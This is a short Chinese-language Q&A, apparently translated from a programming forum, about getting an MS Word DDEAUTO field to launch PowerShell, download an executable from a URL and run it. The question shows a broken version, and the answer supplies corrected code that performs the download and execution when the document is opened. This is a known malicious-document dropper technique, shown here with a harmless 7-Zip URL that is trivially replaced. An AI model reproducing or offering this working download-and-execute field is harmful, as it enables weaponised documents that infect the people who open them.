我正在尝试在MS Word中创建DDEAUTO脚本以下载并执行文件。
代码如下:
{
DDEAUTO
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z1701-x64.exe', 'file.exe')
Start-Process 'file.exe' " "Message Text"
}
脚本将文件作为file.exe下载,但不会执行。
我收到错误说:
启动过程:找不到接受参数'f'
的位置参数
如果我直接在PowerShell中使用它,相同的代码可以完全运行,但是当我从MS Word中调用它时则不行。
以下是错误的屏幕截图:
答案 0 :(得分:0)
您需要将您想要的代码置于引号内执行。
{
DDEAUTO c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe "(New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z1701-x64.exe', 'file.exe');
start-process 'file.exe'"
}
哦,如果你想运行多个命令,它们需要以分号(;)分隔。